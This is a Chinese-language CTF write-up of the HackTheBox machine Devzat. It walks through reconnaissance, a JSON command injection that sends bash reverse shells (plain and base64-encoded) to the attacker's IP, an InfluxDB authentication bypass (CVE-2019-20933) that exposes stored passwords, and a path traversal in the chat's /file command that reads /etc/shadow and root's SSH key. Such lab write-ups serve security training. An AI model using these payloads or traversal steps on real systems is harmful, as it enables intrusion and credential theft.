> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# Devzat HackTheBox 复盘

Devzat HackTheBox 中等 Linux 机器复盘，涵盖目录爆破、Web 注入（RCE）、滥用 InfluxDB（CVE-2019-20933）、滥用 Devzat Chat /file 命令（提权），并包含实

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**技能：**

* 目录模糊测试
* Web 注入（远程代码执行）
* 滥用 InfluxDB（CVE-2019-20933）
* 滥用 Devzat Chat 的 /file 命令（权限提升）
  {% endhint %}

## 侦察：

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49d378a4e54d371a26602eb5fad0430e996169b8%2Fimage%20(1072).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f8edc791b4d2fc7cc410c921998ef2b7de52a6d%2Fimage%20(1073).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1fdb3f6ab20dd1a7d8f2e6323c36fc6de4c1a0c7%2F%7BCF84741D-A627-47F8-8A77-017BCB510C85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80.8000）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d95a8bafd466ad631bf39993f62e498486a25ae%2Fimage%20(1074).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b917a62178687d18d0970654205b16a47f8107b%2F%7B8C48E396-6576-4D02-848E-6E9624EE962A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ff7122874e44c4b2e0dfb445ecc13aac7958d5d%2F%7B09F61A42-12D9-40E6-A2BF-C9D590BA2854%7D.png?alt=media" alt="" width="539"><figcaption></figcaption></figure>

### 端口 80

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2d9ce0fb9c781cb68afc76210c5aec69b95730%2F%7B92A81E80-74DD-482C-B02A-DF1373F1953E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用 `whatweb`，我们找到了一个与该网站相关联的电子邮件： `patrick@devzat.htb`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ef0be18c31687e74db2c810b51f1937479bc257%2F%7B43548105-F1F3-4359-966A-38CE8ED3CEFC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

该应用还告知我们，可以使用 8000 端口通过 SSH 连接到“chat”：

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb2e51713111ab3052110043f41fa4575295baf8%2F%7BD8E0E08C-A019-4DC5-828A-96AD7819A30C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口 8000：

我们尝试连接，但出现问题，因为需要 SSH 密钥：

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17c0f05a163e67e69c286997e8aec74641377849%2F%7B461B93F7-CC1F-47C1-BB0C-A41956EB4E7E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**临时强制使用 SSH-RSA：** 我们使用以下选项为本次会话指定要使用的 SSH 密钥类型：

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fad424760a0c98d5665141acb6560a34e0cdb3c%2F%7BA5D15201-AAAA-44B0-AE8F-80F8568649BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Devzat 项目（SSH 聊天）：**

{% hint style="info" %}
Devzat 是一个自定义 SSH 服务器，它连接到聊天而不是命令提示符。由于 SSH 应用在所有平台上都可用（包括手机），你可以从任何设备连接到 Devzat。
{% endhint %}

以下是可以在此聊天中执行的命令列表：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a9a053b608decfc422c2a3564cd14fff3d04c98%2F%7BDDC3D6E6-EE09-49B0-B77B-C5F657272E5C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 模糊测试 **目录：**

我们使用 `gobuster` 列出网站上的目录：

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

未发现任何有趣的结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2deb81002a418d2ba60ba6dc2423700ffea6698%2F%7BD4C83F5D-381A-4C8B-BD80-7957D492E754%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **子域名模糊测试**

我们使用以下命令搜索子域名 `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

我们发现了 `pets.devzat.htb` 子域名，并将其添加到 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e106beef0be436c24b25d2a37e5d30f7fe7b14b1%2F%7BB42D7365-A0D6-44EB-870D-E956F5E622C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f770bccf02eda7050143a75a88d7155e4ae4ac6%2F%7B4D4BC751-F848-47D2-81B1-86CA8C97ED95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **漏洞（RCE）JSON：**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8b9428db2f069116e1a84b2dbd88ffe5bc667de%2F%7B14323B7A-C54F-47DC-93DC-83FEE1258AC0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们可以添加带有物种信息的“pets”，这允许进行 JSON 注入。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27968a5f0e09cf1a5ea2ab2cbbcbb7e54d7fb063%2F%7B461F2CF6-1420-4246-91B4-3ED3841F1DF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们用 Burp Suite 拦截请求，并尝试通过添加包含 name 和 species 的条目来操纵请求：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83df967484ea7fb7fa13acd3d5a97263a830519f%2F%7B6ADC8897-4E6C-4673-931A-8CA6E6FC9D04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

该条目被解析，从而允许注入。

```json
{
    "Name": "jordan",
    "Species": "jordan"
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-167959fe98a63681cceca44c847b1d49af4955af%2Fimage%20(1067).png?alt=media" alt=""><figcaption></figcaption></figure>

我们监听 ICMP 包以观察通信并测试命令注入：

```bash
sudo tcpdump -i tun0 icmp
```

我们收到了 ping 回包，这证实了可以进行远程代码执行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-737086333259ec0e35b8fb8ae10379f9f89dc2f1%2Fimage%20(1066).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们发送一个带有 `curl` 到我们的 Python 服务器的请求，并且也收到了一个请求，这证实了远程代码执行漏洞。

```bash
{
    "Name": "jordan",
    "Species": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261""
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d6cf298373ec94266bab7b16a3f1d318cbaa8%2Fimage%20(1068).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

### 反向 Shell

我们尝试创建一个反向 shell：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

然而，出现了输出错误。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b334fc2cb14d2a75f7572c8362b8077e3b35bd3%2Fimage%20(1069).png?alt=media" alt=""><figcaption></figcaption></figure>

**错误解决方案（反向 shell）：** 为了解决这个错误，我们创建一个包含反向 shell 的 HTML 文件，并将其编码为 base64：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

我们将该文件转换为 base64：

```bash
base64 -w 0 index.html
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53ef488b4eac2b9a2454174d67694ca33dbf1bed%2F%7BA7203B26-42E8-4A5D-93D3-68FDBBD2B9AE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

在查询中，我们运行编码后的 base64 字符串的 echo，并在执行 shell 之前进行解码：

{% code overflow="wrap" %}

```bash
{
    "Name": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

我们再次监听 443 端口并获得一个反向 shell。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07a5f165e15414ed0fdbd50f86b5756a9cae96db%2Fimage%20(1071).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **终端处理：**

为了稳定会话，我们使用以下命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升 <a href="#privilege-escalation" id="privilege-escalation"></a>

我们注意到需要更高的权限。我们需要提权才能访问 `catherine` 用户账户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c4d11617529d2376b8444561c3a366509df30d6%2F%7BEF5A21DE-32A7-4617-B4E1-A482FD19E514%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### 开放端口识别

首先，我们使用以下命令观察内部开放的端口：

```bash
netstat -nltp
```

开放的端口是：

* 8086
* 8443
* 5000

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae7ea2ac986a8d12d0f444dd5a4e5ff972452e65%2Fimage%20(1057).png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口转发（SSH）

我们使用用户的私钥并设置正确权限，将内部端口重定向到我们的攻击机：

```bash
chmod 600 id_rsa
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acfd06928c4206948d1f819fc950705297689d51%2F%7BB119B674-F060-475A-B2E3-6B2B770BD1A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

然后我们使用 `nmap` 来扫描重定向后的端口：

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### 端口 5000：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd776bd8915737258bc1e2073767415bc29ed174%2F%7B69CEF75F-40D1-417F-ACA3-029B008322D5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们注意到该端口与 8000 端口上发现的同一服务相关联，因此没有给我们带来额外的利用路径。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8f5a8f1240d56628704d97c02946a729c8968b%2F%7B6459213A-204C-4E09-9877-D206807DE9E4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **端口 8086（InfluxDB）**

8086 端口上的服务是 InfluxDB，版本为 1.7.5。我们在 InfluxDB 中识别出一个 NCE（远程代码执行）漏洞：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2c3205b031cebdc203a734cb931590c0feb7fa%2F%7B317A43DB-B062-4926-AC09-41A23065BA7F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**漏洞：** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
该漏洞允许你通过使用一个 JWT 令牌来绕过身份验证，该令牌的 `SharedSecret` 为空（即共享密钥），这使我们可以访问数据库。
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b81693707d06c94521bfa22732490b7d594c2bb2%2F%7B6EE18961-54B1-4819-A38C-D1338A4D6626%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 访问数据库

连接到 InfluxDB 后，我们列出可用数据库：

```sql
SHOW DATABASES;
```

我们选择 `devzat` 数据库并探索用户数据。我们首先列出“测量”（表）：

```sql
SHOW MEASUREMENTS;
```

该 **`用户`** 表包含有用信息。为了探索该测量的列，我们执行：

```sql
SHOW FIELD KEYS FROM "user";
```

然后我们显示 `用户` 表：

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>密码</strong></td><td><strong>用户名</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

catherine 用户的密码是 **`woBeeYareedahc7Oogeephies7Aiseci`**，这使我们能够找回 **flag** 用户。

### user.txt 标志 :)

我们成功获得访问权限，并切换为 `catherine`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a012328a845e905eab7bdc4a3e977a3d804b7eb7%2Fimage%20(1059).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 端口 8443（Devzat - 生产环境）

8443 端口专用于生产环境中的一个 Devzat 实例。我们注意到一个 `文件` 参数会以 root 身份列出系统中的所有文件。然而，访问此功能受密码保护。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25151fedbba14abff31d896121b3ca3f5fb482d0%2Fimage%20(1060).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6726c8ad6719087d82ff9fea969342976c91bfb%2Fimage%20(1061).png?alt=media" alt=""><figcaption></figcaption></figure>

我们尝试使用 catherine 的密码，但失败了。现在我们需要搜索 catherine 可以读取的系统文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d351f44d38c6183636ae4b9f3664c75f0415789%2F%7BA4E497F5-2B49-410F-90C9-4D82F636AE17%7D.png?alt=media" alt="" width="538"><figcaption></figcaption></figure>

### 搜索 Catherine 可访问的文件

我们使用以下命令搜索所有 catherine 可读的文件：

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

我们找到了两个 `.zip` 备份文件：

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

我们下载 `devzat-dev.zip` 备份文件，并筛选其中的密码。我们找到了一个有用的密码： **`CeilingCatStillAThingIn2021?`**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af919d73e16b8c2db08afbcd897deca0d3029d0f%2Fimage%20(1062).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们尝试使用此密码访问 `/etc/shadow` 通过 `文件` 参数存在开放重定向漏洞：

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

尽管密码正确，但还需要一个 **目录穿越** 才能获得完全访问权限。我们使用以下命令在文件系统中导航：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87018683dee545bef98f49d5c3cf71ea0e5947d6%2F%7BC6E89116-9630-4D34-BF14-E095C90265CF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

我们成功显示了 `/etc/shadow` 该文件，且身份为 root。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-638d2d8d95001304372bdc8581719754bb9f1e19%2F%7BC723D1E1-26FB-4AD1-88FB-08002433C16E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 以 Root 身份进行 SSH 访问

最后，我们使用额外的目录穿越来访问 root 的 SSH 密钥：

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fefbdce624c13fe2800452370dea8c6e39fb624%2F%7B3A3E604C-9EA9-4A18-9120-5441BD424A2C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

我们下载了 SSH 密钥并以 root 身份连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93cf5d8448c40ac72b6d336a42cb14f84fd65c9e%2Fimage%20(1063).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-626a1a675e374a24f2dfdc9f4be982c65e51ed37%2Fimage%20(1064).png?alt=media" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c706525250edd4439cab2c040348cb7d41774eff%2F%7B63AAD6DA-228A-4E27-ACD2-B716091B8499%7D.png?alt=media" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
